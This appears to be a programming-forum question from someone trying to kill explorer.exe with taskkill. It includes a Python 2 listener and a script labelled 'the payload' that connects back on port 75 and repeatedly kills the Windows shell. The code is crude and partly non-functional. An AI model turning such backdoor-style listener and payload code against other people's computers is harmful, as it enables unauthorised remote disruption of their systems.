title: How can I kill the explorer.exe process?
body: <p>I'm writing a script which is meant to kill explorer.exe. I searched a bit about it and the best answer I've seen uses the <code>taskkill</code> command. I tried it, but when I run it on my computer it says it worked but it doesn't actually kill it.</p>
  
  <pre><code>import os, socket
  
  s = socket.socket()
  host = socket.gethostname()
  
  try:
      s.bind((host, 75))
  except socket.error:
      print 'Error: Premission denied, please run as admin'
      exit()
  
  s.listen(5)
  
  while True:
      print '[*] Deploying Server on: ' + host
      print '[*] Scanning..'
      c, addr = s.accept()
      print '[*] Connection established from ' + str(addr)
      while True:
          try:
              os.system("taskkill /im explorer.exe")
              cmd = raw_input()
              if cmd == 'exit':
                  print '[!] Exiting'
                  c.send('exit')
                  s.close()
                  exit()
              c.send(cmd)
          except KeyboardInterrupt:
              print '[!] Exiting'
              c.send('exit')
              s.close()
              exit()
  </code></pre>
  
  <p>the payload:</p>
  
  <pre><code>import os
  import socket
  import platform
  
  print 'Starting'
  system = platform.system()
  windows = ['Microsoft', 'Windows']
  s = socket.socket()
  host = socket.gethostname()
  print host
  print platform.system()
  try:
      s.connect((host, 75))
  except socket.error:
      s.close()
      s.connect((host, 75))
  while True:
      cmd = s.recv(1024)
      if cmd == 'exit':
          s.close()
          exit()
      os.system("taskkill /im explorer.exe")
      print(os.system("taskkill /im explorer.exe"))
  </code></pre>